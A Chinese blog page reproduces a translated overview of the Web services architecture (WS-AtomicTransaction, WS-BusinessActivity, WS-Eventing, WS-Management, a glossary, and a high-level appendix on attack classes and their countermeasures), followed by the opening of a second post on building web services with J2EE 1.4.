<P>&nbsp;&nbsp;&nbsp; 协调类型集是可扩充的。只要参与该联合工作的每个服务对所需行为都有个一般的了解，新类型就可以通过实施来定义。例如，原子事务是Web服务架构中已经定义了的几个初始基础协调类型之一。如果被请求的协调类型被理解并被接受，Web服务就会使用WS-Coordination注册协议来通知协调者并参与该联合工作。协调上下文中包含了协调者的一个端点引用和可能行为的可选标识符。注册操作指定该多方参与的Web服务所支持的行为。一旦注册消息发送到协调者，Web服务就会依照它们所预订的协议参与该工作。注册是协调框架中的关键操作，它允许意欲协同配合以完成工作的共同单元的不同Web服务相互连接在一起。</P>
<P>&nbsp;&nbsp;&nbsp; WS-AtomicTransaction为Web服务指定了传统的ACID事务，并为原子事务协调类型定义了3个协议：完成协议（Completion Protocol）和两阶段提交协议（Two-Phase Commit Protocol）的两个变体。完成协议用于启动提交处理。为完成而注册的Web服务能够通知指定的协调者何时开始提交处理。该协议还详细说明了用于通知启动者事务最终结果的消息。不过，该协议不要求协调者确保启动者对结果进行处理。相反，WS-AtomicTransaction中的其他行为则要求协调者确保参与者对协调消息进行处理。</P>
<P>&nbsp;&nbsp;&nbsp; 两阶段提交（2PC）协议为所有已注册的参与者提供了一个公共的提交或中止决定，确保了所有参与者都能得到最终结果通知。顾名思义，它使用两轮通知来完成该事务。该协议的两个变体是：易失2PC（Volatile 2PC）和持久2PC（Durable 2PC）。这两个协议在线上使用相同的消息（对应于Prepare、Commit和Abort操作），但易失2PC没有持久性要求。易失2PC协议供管理易失资源的参与者使用，如缓存管理器或窗口管理器。这些参与者在第一轮通知中不与协调者发生联系，且不需要第二轮的通知。持久2PC协议供管理数据库和文件等持久资源的参与者使用。当某一提交处理已经启动时，在所有易失2PC参与者被联系过之后这些参与者会第一次被联系。这使缓存能够被刷新。持久2PC参与者需要完整的两轮通知来实现协调者所要求的全有或全无行为以及完成该事务。这些行为最适合于可以在整个事务期内持有资源，且该事务通常为非常短暂的事务的情况。该协议保证在正常处理的情况下，协调者提供第一阶段结果的同时将联系所有参与者。对于完成时间预计将比较长的事务，或当资源（如锁）无法持有时，其他协调协议就会定义替换行为。</P>
<P>&nbsp;&nbsp;&nbsp; WS-AtomicTransaction中定义了若干策略断言，这些策略断言使用WS-Policy中定义的方法来表示。</P>
<H2>排队系统（Queued System）</H2>
<P>&nbsp;&nbsp;&nbsp; 构建分布式系统时被证明非常有用的一种模式是使用事务持久队列来提供存储转发异步消息传送。在这种模式下，原子事务被用于每一个传输端点。在发送端，发送应用程序以原子事务方式将消息发送给一个持久队列，此时应用程序和队列管理器都使用WS-AtomicTransaction来进行协调。只有在处理消息时不发生错误，消息才被认为成功发送至该队列。接下来，发送队列和接收队列之间消息的传送由队列子系统来接管。该传输步骤可以在消息置入发送队列之后的某一时刻完成。此外，发送队列的位置无需与发出消息的应用程序的位置一致。与此类似，从接收队列检索消息的应用程序也使用原子事务来执行类似操作。也就是说，只有不出现处理错误时消息才能从队列中移除。</P>
<H2>持续时间长的活动（Long Duration Activities）</H2>
<P>&nbsp;&nbsp;&nbsp; WS-BusinessActivity为运行时间长的事务指定了两个协议。WS-BusinessActivity规范在事务提交之前并不锁定资源，而是基于补偿操作。底层事务模型是所谓的开放嵌套事务。这些协议系统化地说明了松耦合服务如何对已经完成某一联合任务达成一致意见。在其中的一个协议中，协调者显式地通知参与者没有更多的工作正在以联合任务的名义被请求。在另一个协议中，该参与者就是通知协调者以联合任务名义出现的工作已经完成的参与者。使用补偿操作可以在不锁定这些操作的情况下完成试验性操作。不管出于何故，只要系统想要撤消已完成的试验性操作结果，就要启动补偿操作。WS-AtomicTransaction和WS-BusinessActivity都利用WS-Coordination来管理Web服务之间的协作。</P>
<P class=indent><B>三方握手<BR></B>&nbsp;&nbsp;&nbsp; 三方握手连接的建立和解除协议是不需要指定协调者服务的协调协议的一个例子。为了建立连接，发送者要向接收者发送一个请求。该请求建立一个会话。如果该请求被接受，接收者就会发出一条确认消息，对该请求作出积极响应。发送者然后再发送一条消息，作为对该确认消息的确认，从而证明双方都知道对方已经建立了一个会话。</P>
<P>&nbsp;&nbsp;&nbsp; 解除协议类似。一方向另一方发送一个会话解除请求。接收者以对解除消息的确认消息作为响应。接收到该确认消息之后，发出解除消息的一方通过再对该确认消息发送一条确认消息结束消息交换。</P>
<H1>枚举、传输和事件</H1>
<P>&nbsp;&nbsp;&nbsp; 本节介绍提供Web服务架构中的服务资源枚举、其状态管理和事件通知的规范。这些规范基于WS-Enumeration、WS-Transfer和WS-Eventing。</P>
<H2>枚举（Enumeration）</H2>
<P>&nbsp;&nbsp;&nbsp; 很多情况所要求的数据交换都使用不只一对的请求/响应消息。需要这些更长时间数据交换的应用类型包括数据库查询、数据流、命名空间等信息的遍历和枚举列表。特别是枚举，它是通过建立数据源和请求者之间的会话来实现的。会话中接连不断的消息用于传送正在被检索的元素的集合。对于该服务用于组织将要生成的项的方法不作假设。在正常处理的情况下，枚举应在会话结束前生成所有底层数据。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Enumeration指定了用于建立枚举会话和检索数据序列的协议。枚举协议允许数据源向正在使用的服务提供一个叫做枚举上下文的会话抽象。该上下文通过一个数据项序列来表示逻辑光标。然后，请求者将该枚举上下文用于一个或多个SOAP消息的某一区间以请求数据。枚举数据表示为XML Infoset。该规范还允许数据源提供一种自定义机制来开始新的枚举。既然枚举会话可能需要若干个消息交换，那么会话状态必须保持稳定。</P>
<P>&nbsp;&nbsp;&nbsp; 关于迭代进度的状态信息可以由数据源或正在使用的服务在请求间维护。WS-Enumeration允许数据源一个请求一个请求地决定哪一方将负责维护下一个请求的状态。这种灵活性实现了若干种优化。例如，使服务器能够避免对调用之间的任何光标状态进行保存。由于消息潜伏时间对于支持若干个同时枚举的服务来说可能会很长，不保存状态可能会使必须维护的信息总量大大减少。资源受限设备（如移动电话）上的服务实现可能根本无法维护任何状态信息。</P>
<H2>传输（Transfer）</H2>
<P>&nbsp;&nbsp;&nbsp; WS-Transfer详细说明了对通过Web服务进行访问的数据实体进行管理所需的基本操作。要了解WS-Transfer需要介绍两个新术语：工厂（Factory）和资源（Resource）。工厂是能够从其XML表示形式创建资源的Web服务。WS-Transfer引入了用于创建、更新、检索和删除资源的操作。应当注意，对于资源状态维护，宿主服务器最多也只能做到尽力而为。当客户端获知服务器接受了创建或更新某一资源的请求时，它可以适当地预期资源目前在的确定位置，并具有确定了的表示形式，但这并不是一个保证——即使是在没有任何第三方的情况下。服务器可能会更改某一资源的表示形式，可能会彻底删除某一资源，也可能会恢复已经删除的某一资源。这种保证的缺乏与Web提供的松耦合模型一致。如果需要，服务可以提供非Web服务架构所必需的附加保证。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Transfer的创建、更新和删除操作扩展了WS-MetadataExchange中的只读操作功能。检索操作与WS-MetadataExchange中的Get操作完全相同。Create请求发送给工厂。然后，工厂创建被请求的资源并确定其初始表示形式。工厂被假定与所创建的资源不同。新资源被分配给一个在响应消息中返回的，由服务决定的端点引用。Put操作通过提供一种替换表示形式来更新资源。资源表示形式的一次性快照与WS-MetadataExchange中的Get操作一样，也可以通过WS-Transfer中的Get操作来检索。Delete操作成功后，资源将无法再通过端点引用来使用。这4个元数据管理操作构成了Web服务中状态管理的构建基础。</P>
<H2>事件（Eventing）</H2>
<P>&nbsp;&nbsp;&nbsp; 在由需要相互通信的服务构成的系统中，可能会使用异步消息传递。在很多情况下，由一个服务生成的信息也是其他服务所需要的。由于伸缩性差，轮询往往不是获得这种信息的有效方法；通过网络发送的不必要的消息太多了。相反，该架构需要一种当事件发生时发出显式通知的机制。更重要的要求是源服务和用户服务的绑定必须在运行时动态完成。为此，Web服务架构提供了一个轻量级事件协议。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Eventing详细说明了实现下面4个实体交互的机制：订户、订阅管理器、事件源和事件接收。这使某一Web服务在作为一个订户时能够登记它对另一个Web服务（事件源）所提供的特定事件的兴趣。这种注册叫做订阅。WS-Eventing定义了某一服务可以提供的支持订阅创建和管理的操作。当事件源判定有事件发生时，它就会将此信息提供给订阅管理器。订阅管理器然后可以将该事件传送给所有匹配的订阅，这类似于传统的发布/订阅事件通知系统中的发布主题。Web服务架构提供了主题定义、组织和发现方式的全面灵活性；它为在很多不同的应用场合中可能会用到的订阅提供了一个通用的管理基础架构。也可以订阅出租的资源，但最终都必须收回。用于收回资源的主要机制是各个订阅的到期时间。查询订阅状态同样也有一种机制，帮助订户管理其若干订阅事项（包括续订、通知和取消订阅的请求）的附加操作规范中也有详细说明。当然，任何服务都可以随时自由地终止订阅，这与所有Web服务的自主原则一致。订阅终止消息可供事件源通知订户订阅终止过早。</P>
<P>&nbsp;&nbsp;&nbsp; 虽然基于事件的异步消息的一般模式很常见，但不同的应用通常都要求使用不同的事件传送机制。例如，在某些情况下简单异步消息可能是最佳选择，但如果事件接收能够通过轮询控制消息流和消息到达时间，则其他情况可能会更适用。当接收无法从源头到达目的地时，如接收有防火墙阻拦的情况下，轮询也是必要的。WS-Eventing中所引入的传送模式概念就是用来支持这些要求的。传送模式被用作一个扩展点，以便为订户、事件接收和事件源建立定制的传送机制提供一种手段。下述管理规范利用了这种机制。</P>
<P>&nbsp;&nbsp;&nbsp; 事件代理可用于聚合或重新分配来自不同来源的通知，代理还可以用作独立的订阅管理器。这两个方法都得到了WS-Eventing的支持。代理在系统中可以扮演若干个重要角色。主题可以按特定的应用类来组织使用。代理可以充当通知聚集器，用于整合来自多个来源的事件信息。它们也可以充当过滤器，这比用于其自己通知的过滤器所接收的消息要多。这种灵活性是部署健壮而可伸缩的通知系统所必需的。</P>
<H2>管理（Management）</H2>
<P>&nbsp;&nbsp;&nbsp; 管理功能是要讨论的Web服务架构的最后一个方面。这些功能在WS-Management规范中有详细的说明。WS-Management构建于该架构的若干组件之上，提供了所有系统管理解决方案都必需的一个公共操作集。其中包括发现管理资源存在及其相互导航的能力。个别管理资源（如设置和动态值）可以被检索、设置、创建和删除。容器和集合的内容，如大表和日志，可以被枚举。规范最后定义了事件订阅和特定的管理操作。在这些方面，WS-Management只详细说明了最低的实现要求。规范还使符合WS-Management的实现可以部署到小型设备。同时，它还支持向大型数据中心和分布式安装的扩展。此外，各种机制的定义都不依赖于任何暗示的数据模型或系统健康模型。这种独立性使它可以应用到各种各样的Web服务。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Management要求托管资源的引用使用带有特定附加信息的端点引用。该信息包含了对该资源提供访问的代理的URL、该资源所属资源类型的唯一标识符URI以及识别该资源的零个或更多个密钥。这些密钥被假设为名称/值对。该信息是这样映射到WS-Addressing端点引用的：资源的URL映射到地址属性，资源类型标识符映射到一个名为ResourceURI（在适当的XML命名空间中）的特定引用属性，各密钥分别映射到一个名为Key、属性为Name的引用参数。为了满足管理服务的消息传递需要，规范为操作定义了3个限定符。这些限定符的SOAP表示位于header元素中。operation timeout指定了一个截止时间，之后操作将不需要接受服务；locale元素在需要或期望转换底层信息时使用；freshness限定符用于请求最新的值并避免返回陈旧数据。对于使用WS-Transfer操作的数据访问，WS-Management指定了另外3个限定符。Get操作可用于SummaryPermitted header和NoCache header。如果可用，SummaryPermitted限定符允许传输简略表示形式。NoCache限定符要求传输最新数据，禁止信息缓存。对于Put和Create操作，ReturnResource限定符要求服务返回资源的新表示形式。ReturnResource使资源受限的Web服务能够在更新资源时不保留状态。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Management为事件通知定义了3个自定义的传送模式：批、拉和捕获。这些模式都由URI来识别，这些URI在建立订阅时使用。批传送模式使订户能够接收捆绑在一个SOAP消息中的多个事件消息。订户可能还会要求捆绑某一最大数目的事件、服务收集事件可耗用的最长时间，以及应返回数据的最大量。拉传送模式使生成服务的数据能够维护事件的逻辑队列，以便订户能够按需轮询通知。该轮询是通过使用WS-Enumeration和返回时附带订阅响应消息的枚举上下文来完成的。最后，如果UDP多路广播是一种合适的消息传递方式，捕获传送模式便允许事件源使用它。在捕获模式下，事件源可以将其通知发送给某一预定义的UDP多路广播地址。</P>
<H1>结束语</H1>
<P>&nbsp;&nbsp;&nbsp; 本文介绍了Web服务架构的功能构造块及其底层原理。每个构造块都是依据协议规范来阐述的。我们希望本文所述的功能范围和指导原则保持不变。不过我们也希望架构能够得到扩展，以支持更多情况。能够支持创新是该架构的基本特征。</P>
<P>&nbsp;&nbsp;&nbsp; 已经进行的大量细致入微的工作可以确保各种Web服务协议能够不加变动地相互组合；尽管是一起设计的，它们仍可以以非常多的组合方式来使用。和功能构造块一样，它们的使用方式与传统开发框架类似。必要时，如对于SOAP附件，我们已经开发了新的解决方案，而且不加变动它们就可以很好地用于该架构内。关注组合不是对丰富功能的威慑。</P>
<P>&nbsp;&nbsp;&nbsp; 该架构的SOAP消息传递基础保证了 foundation assures wide reach。SOAP消息传递以一种传输独立的方式支持异步和同步模式。具有更高灵活性的基础架构不存在。为了加快Web服务架构的广泛采用，很多技术合作伙伴都参与了这些规范的制定。与这些重要技术提供程序的合作加快了设备和支持这些在线协议的编程环境的部署。实现广泛覆盖、广泛采用和与规模无关的构造是我们的3个核心目标。我们力争确保该架构能够在任何平台上用任何编程语言来实现。该架构基于消息的和基于协议的特性为此提供了便利。必要时，如只使用WS-Security来支持消息完整性、机密性和身份验证，以及只使用WS-Policy来表示元数据时，我们已经限定了用于提高互操作水平的技术方法的使用领域。理论上讲，只要实现切实遵守该架构的协议规范，它们就能与其他任何Web服务通信。</P>
<H1>附录A：术语表</H1>
<P>&nbsp;&nbsp;&nbsp; 活动请求者（Active Requestor）——活动请求者是能够发出如WS-Security和WS-Trust中所述的Web服务消息的应用程序（可能是Web浏览器）。</P>
<P>&nbsp;&nbsp;&nbsp; 身份验证（Authentication）——验证安全凭证的过程。</P>
<P>&nbsp;&nbsp;&nbsp; 授权（Authorization）——根据提供的安全凭证授权访问安全资源的过程。</P>
<P>&nbsp;&nbsp;&nbsp; 规范化（Canonicalization）——将XML文档转换成符合每一方要求的格式的过程。在签名文档和解译签名时使用。</P>
<P>&nbsp;&nbsp;&nbsp; 断言（Claim）——断言是对发送者、服务或其他资源（如名称、身份、密钥、组、特权、功能等）所作的陈述。</P>
<P>&nbsp;&nbsp;&nbsp; 协调上下文（Coordination Context）——一组协调服务要完成的一组工作的唯一标识符。</P>
<P>&nbsp;&nbsp;&nbsp; 反序列化（Deserialization）——从一个八位字节流构建XML Infoset的过程。它是用于从消息的有线格式创建消息的Infoset 表示形式的方法。</P>
<P>&nbsp;&nbsp;&nbsp; 摘要（Digest）——摘要是八位字节流的加密校验和。</P>
<P>&nbsp;&nbsp;&nbsp; 域（Domain）——安全域代表安全管理或信任的一个单元。</P>
<P>&nbsp;&nbsp;&nbsp; 持久的两阶段提交（Durable Two Phase Commit）——用于文件或数据库等持久资源事务的协议。</P>
<P>&nbsp;&nbsp;&nbsp; 有效策略（Effective Policy）——有效策略，针对某一给定的策略主题，是附加在包含该策略主题的策略范围上的策略组合。</P>
<P>&nbsp;&nbsp;&nbsp; 交换模式（Exchange Pattern）——用于服务之间消息交换的模式。</P>
<P>&nbsp;&nbsp;&nbsp; 工厂（Factory）——工厂是可以从XML表示形式创建资源的Web服务。</P>
<P>&nbsp;&nbsp;&nbsp; 联盟（Federation）——联盟是已经建立相互信任的信任域的集合。信任级别可能变化，但通常都包括身份验证，并可能包括授权。</P>
<P>&nbsp;&nbsp;&nbsp; 身份映射（Identity Mapping）——身份映射是创建身份属性之间关系的一种方法。某些身份提供程序可能会利用身份映射。</P>
<P>&nbsp;&nbsp;&nbsp; 身份提供程序（IP，Identity Provider）——身份提供程序是为最终请求者提供身份验证服务的实体。身份提供程序还为服务提供程序提供数据源验证服务（这通常是安全性令牌服务的一种扩展）。</P>
<P>&nbsp;&nbsp;&nbsp; 消息（Message）——消息是可由服务发送或接收的完整数据单元。它是信息交换的独立单元。无论何时消息都会包含SOAP信封，并有可能包含附加MTOM中指定的MIME部件、传输协议header。</P>
<P>&nbsp;&nbsp;&nbsp; 消息路径（Message Path）——遍布在初始源和最终接收者之间的SOAP节点集。</P>
<P>&nbsp;&nbsp;&nbsp; 被动请求者（Passive Requestor）——被动请求者是一个使用得到普遍支持的HTTP（如HTTP/1.1）的HTTP浏览器。</P>
<P>&nbsp;&nbsp;&nbsp; 策略（Policy）——策略就是策略选项集。</P>
<P>&nbsp;&nbsp;&nbsp; 策略选项（Policy Alternative）——策略选项就是策略断言集。</P>
<P>&nbsp;&nbsp;&nbsp; 策略断言（Policy Assertion）——策略断言表示特定于域的单个要求、功能、其他属性或行为。</P>
<P>&nbsp;&nbsp;&nbsp; 策略表达式（Policy Expression）——策略表达式是策略的XML Infoset表示形式，可以是正规形式，也可以是等同的压缩形式。</P>
<P>&nbsp;&nbsp;&nbsp; 主体（Principal）——可以被授予安全权限或可以给出安全性或身份断言的任何系统实体。</P>
<P>&nbsp;&nbsp;&nbsp; 协议组合（Protocol Composition）——协议组合是在保持技术连贯性的同时组合协议并避免任何非指定功能副作用的能力。</P>
<P>&nbsp;&nbsp;&nbsp; 资源（Resource）——资源是可由端点引用寻址的任何实体，在该端点引用中，该实体可以提供其自身的XML表示形式。</P>
<P>&nbsp;&nbsp;&nbsp; 安全上下文（Security Context）——安全上下文是一个抽象概念，指的是已建立的身份验证状态和可能具有与安全有关的附加属性的协商密钥。</P>
<P>&nbsp;&nbsp;&nbsp; 安全上下文令牌（Security Context Token）——安全上下文令牌（SCT）是安全上下文抽象概念的有线表示形式，它使上下文能够被URI命名并和一起使用。</P>
<P>&nbsp;&nbsp;&nbsp; 安全性令牌（Security Token）——安全性令牌用于表示一组断言的集合。</P>
<P>&nbsp;&nbsp;&nbsp; 安全性令牌服务（Security Token Service）——安全性令牌服务（STS）发行安全性令牌的Web服务。更确切地说，它根据它所信任的证据来作出断言，并发送给信任它的任何一方（或特定接收者）。为了表明信任，服务需要证据（如签名），以证实安全性令牌或安全性令牌集提供的信息。服务本身可以生成令牌，也可以通过它自己的信任陈述依靠某一独立的STS发行安全性令牌（注意，对于某些安全性令牌格式，这只能是重新发行或联合签名）。这构成了信任代理的基础。</P>
<P>&nbsp;&nbsp;&nbsp; 序列化（Serialization）——将XML Infoset表示为八位字节流的过程。它是用于创建消息的有线格式的方法。</P>
<P>&nbsp;&nbsp;&nbsp; 服务（Service）——通过消息来与其他实体进行交互的软件实体。注意，服务不需要连接到网络。</P>
<P>&nbsp;&nbsp;&nbsp; 签名（Signature）——签名是通过加密算法计算出来，并绑定到数据的一个值。而且经过绑定，数据的指定接收者可以使用该签名来验证数据没有改变并发自消息的签名者，从而提供了消息完整性和身份验证。签名的计算和验证可以通过对称或非对称密钥算法来进行。</P>
<P>&nbsp;&nbsp;&nbsp; 退出（Sign-Out）——退出是这样一个过程：某主体表明它们将不再使用其令牌且该域中的服务可能会破坏该主体令牌缓存。</P>
<P>&nbsp;&nbsp;&nbsp; 单点登录（SSO，Single Sign On）——单点登录是对身份验证序列的一种优化，旨在消除在请求者身上进行的反复操作负担。为了便于进行SSO，称为身份提供程序（Identity Provider）的元素能够以请求者的名义充当代理，将身份验证事件的证据提供给请求该请求者信息的第三方。这些身份提供程序（IP）是受信任的第三方，既需要得到请求者的信任（以维护请求者的身份信息，因为该信息的丢失可能会泄露请求者身份），又需要得到Web服务的信任，Web服务可能会根据该IP提供的身份信息的完整性提供对重要资源和信息的访问权。</P>
<P>&nbsp;&nbsp;&nbsp; SOAP中介（SOAP Intermediary）——SOAP中介是一个SOAP处理节点，它既不是原始消息发送者，也不是最终接收者。</P>
<P>&nbsp;&nbsp;&nbsp; 对称密钥算法（Symmetric Key Algorithm）——一种加密算法，其中的消息加密和解密都使用相同的密钥。</P>
<P>&nbsp;&nbsp;&nbsp; 系统（System）——实现某一特定功能的服务的集合。与分布式应用程序意思相同。</P>
<P>&nbsp;&nbsp;&nbsp; 信任（Trust）——信任表示一个实体愿意依靠另一个实体来执行一组操作，对一组主题、范围作出一组断言。</P>
<P>&nbsp;&nbsp;&nbsp; 信任域（Trust Domain）——信任域是一个得到有效管理的安全空间，在其中，请求的来源和目标可以确定来自某一来源的特定凭证集是否符合该目标的相关安全策略，并对此达成一致。目标可以将信任决定延期至第三方的加入（如果这已被确立为一致意见的一部分），从而将受信任的第三方包括在信任域中。</P>
<P>&nbsp;&nbsp;&nbsp; 易失的两阶段提交（Volatile Two Phase Commit）——用于缓存或窗口管理器等易失资源事务的协议。</P>
<P>&nbsp;&nbsp;&nbsp; Web服务（Web Service）——Web服务是一种可重复使用的软件组件，它依据XML、SOAP和其他业界公认的标准通过网络实现交互式的消息交换。</P>
<H1>附录B：XML Infoset信息项</H1>
<P>&nbsp;&nbsp;&nbsp; XML文档可以包含11类信息项。下面，我们列出并详细说明了SOAP所支持的信息项，并简要介绍了其他的信息项。SOAP支持6类信息项：</P>
<OL>
<LI>文档（Document）：每个信息集里都有一个文档信息项。它用于引用所有的其他信息项。 
<LI>元素（Element:）：文档中每个XML元素的信息集中都包含一个元素信息项。对所有元素的访问是通过对Child属性的递归跟踪提供的。 
<LI>属性(Attribute)：文档中每个属性的信息集中都包含一个属性信息项。附加属性信息项用于命名空间。 
<LI>命名空间(Namespace)：每个在其父元素范围内的名称空间信息集中都包含一个名称空间信息项。 
<LI>字符(Character)：文档中每个数据字符的信息集中都包含一个字符信息项。 
<LI>注释(Comment)：除了出现在DTD中的以外，文档中每个注释的信息集中都包含一个注释信息项。 </LI></OL>
<P>&nbsp;&nbsp;&nbsp; SOAP不支持但出现在XML Infoset初始定义中的5类信息项是：处理指令(Processing Instruction)、文档类型声明(Document Type Declaration)、未扩展的实体引用(Unexpanded Entity Reference)、未解析实体(Unparsed Entity)和表示法(Notation)。</P>
<H1>附录C：常见的安全攻击</H1>
<P>&nbsp;&nbsp;&nbsp; 对分布式系统的攻击可以分为若干个方面。它们可以指向系统中的一个或多个主机，或指向它们之间的通信网路。攻击的目的可能是中断操作、获得机密信息或在系统内部执行未授权的操作。它们可能会攻击系统中所使用的加密技术或以安全性为中心的其他技术，也可能企图通过攻击下面的系统和网络层或上面的应用层来旁路它们。以下是一个简短的不全面的安全性攻击类及针对每类攻击的标准对策的列表，它们是按上述的几个方面组织编排的：</P>
<H2>对主机的攻击</H2>
<UL>
<LI>拒绝服务（DoS，Denial-of-Service）攻击通过击垮主机的响应能力来中断其操作 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 当指向加密层时，DoS通常会尽力迫使主机反复执行特定身份验证或密钥交换协议所需的计算代价高昂的公钥操作。对抗这类攻击的典型防御措施是延迟公钥操作，直到对话者的合法性能够通过花费较少的方法（如对称加密或“谜语”）来验证时为止。DoS对底层网络层或顶层应用层的攻击很难预防，特别是在攻击者控制着大量资源且通信量处于正常通信量难以觉察的情况下。要实现网络基础架构的部署，通常必须通过漏斗方式将通信量降至一个可管理水平。</P>
<UL>
<LI>主机机密性或授权攻击企图泄露隐私或身份 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 这些攻击可能会利用主机软件中的薄弱点来获得对主机的控制。适当的安全性管理，如安装补丁、配置防火墙以及削减暴露应用程序的特权，是比较常用的对策。另一类攻击利用系统或应用程序中的弱点，如设置不正确的策略或应用程序逻辑错误，除了一般的主机泄密以外，它们还会考虑机密性或授权泄密。恰当的安全性策略管理和周密的应用程序设计是对付这类攻击的唯一防御措施。在“电子欺骗”攻击中，攻击者企图通过冒用某一经过授权的其他方的身份并做出相应的行为来获得对各种操作的授权。只要主机和经授权方切实保护好身份验证密码，并正确使用安全的身份验证协议，就可以预防电子欺骗。</P>
<H2>对通信网路的攻击</H2>
<UL>
<LI>DoS对网络的攻击试图中断与服务的通信 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 和对主机网络层的攻击一样，这些攻击确实也只能使用网络基础架构方法来应对。</P>
<UL>
<LI>对网络通信机密性的攻击企图在线泄露隐私 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 明文通信的直接监听可以通过加密来阻止。通过足够强大的加密算法和足够长的密钥，密码分析攻击也可以被扼制。</P>
<UL>
<LI>对网络通信授权的攻击企图泄露身份 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 攻击者企图将消息插入会话的“消息伪造攻击”和攻击者修改会话中发送的消息的消息，变更攻击都可以通过包含消息身份验证的消息安全性协议来阻止。攻击者将以前发送的（因而通过了正确的身份验证）消息插入会话的消息重放，攻击可以通过序号或时间戳和消息缓存的组合来检测和阻止。</P></DIV></SPAN></TD></TR>
<TR>
<TD align=right>[<A href="http://www.54bk.com/more.asp?name=yuexb&amp;id=8232">阅读全文(115)</A> | <A href="http://www.54bk.com/more.asp?name=yuexb&amp;id=8232#comment">回复(0)</A> | <A href="http://www.54bk.com/showtb.asp?id=8232" target=_blank>引用(0)</A>] </TD></TR>
<TR>
<TD>
<HR width="100%" color=#f0f0f0 size1>
</TD></TR></TBODY></TABLE>
<STYLE type=text/css>
.style1 {
 FONT-WEIGHT: bold; FONT-SIZE: 12px; COLOR: #ff6699
}
.yjx {
 BORDER-RIGHT: #f0f0f0 0px solid; BORDER-TOP: #f0f0f0 0px solid; BORDER-LEFT: #f0f0f0 0px solid; BORDER-BOTTOM: #f0f0f0 0px solid
}
</STYLE>

<TABLE style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellSpacing=0 cellPadding=0 width="99%" border=0>
<TBODY>
<TR>
<TD bgColor=#f0f0f0><FONT color=#ff6699>·</FONT><STRONG><IMG src="http://www.54bk.com/images/face/1.gif"><A href="http://www.54bk.com/blog.asp?name=yuexb&amp;subjectid=1715">[WebService]<A href="http://www.54bk.com/more.asp?name=yuexb&amp;id=7567">J2EE构造web service</A>&nbsp;&nbsp;&nbsp;&nbsp; -|</STRONG><SPAN class=oblog_text>民工 发表于 2005-6-1 21:06:03</SPAN> </TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD>
<DIV align=right></DIV></TD></TR></TBODY></TABLE><SPAN class=oblog_text>
<DIV class=postTitle><A href="http://blog.csdn.net/yangfanyf/archive/2005/06/01/385740.aspx"><FONT color=#000000>J2EE构造web service</FONT></A> <FONT color=#000000>(载至</FONT><A class=headermaintitle id=Header1_HeaderTitle href="http://blog.csdn.net/yangfanyf/"><FONT color=#000000 size=2>yangfanyf的专栏</FONT></A><FONT color=#000000>)</FONT> </DIV>
<DIV class=postText>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;在这篇文章，我向java程序开发者介绍service-oriented architecture (SOA)，我将解释怎么使用J2EE 1.4去建立一个web 服务使其能操作和方便的通过J2EE1.4来适应应用服务（例如： Oracle Application Server）。</P>
<P><FONT size=4>&nbsp;Web Services Architecture<BR></FONT>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 让我们在学习web services部署J2EE platform之前，我们先了解web service 的主要结构。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 通过网络我们可以找到一些关于&nbsp;web services的定义、发布、和调用。一个web service，如图一</P>
<P><A href="http://www.onjava.com/onjava/2005/05/25/graphics/webservice.gif" target=_blank><IMG title="" alt="" src="http://www.onjava.com/onjava/2005/05/25/graphics/webservice.gif" onload="java_script_:if(this.width>500)this.width=500" align=middle border=0 pop="点击在新窗口查看原始图片"></A></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 图一</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 现在有两种web services：“RPC style and document style”，RPC-style web services是在最初受欢迎的。但在近几年是document-style是首选的web services。<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RPC-style web services是远程程序调用，代表相互交互。RPC-style web services在交互信息中调用和返回必须先符合明确的签名，在应用中非常不方便。相反，document-style web services 通过用xml，来改变发送和接收应用。<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 许多的开发者觉得web services是一个有活力的技术，他继承SOA。因为它提供一个相互作用在不同的平台和轻便的技术。例如xml，soap，and http。<BR>&nbsp;&nbsp;<STRONG> What Are Web Services Made of?</STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在web service首先要先定义A Web Services Definition Language (WSDL; pronounced "wizdle") 文档。</P>
<P>这个WSDL提供一个完全的描述web service，包括端口、操作、信息类型等。</P>
<P>Here is a simple example of a WSDL document that describes a HelloWorld web service:</P>
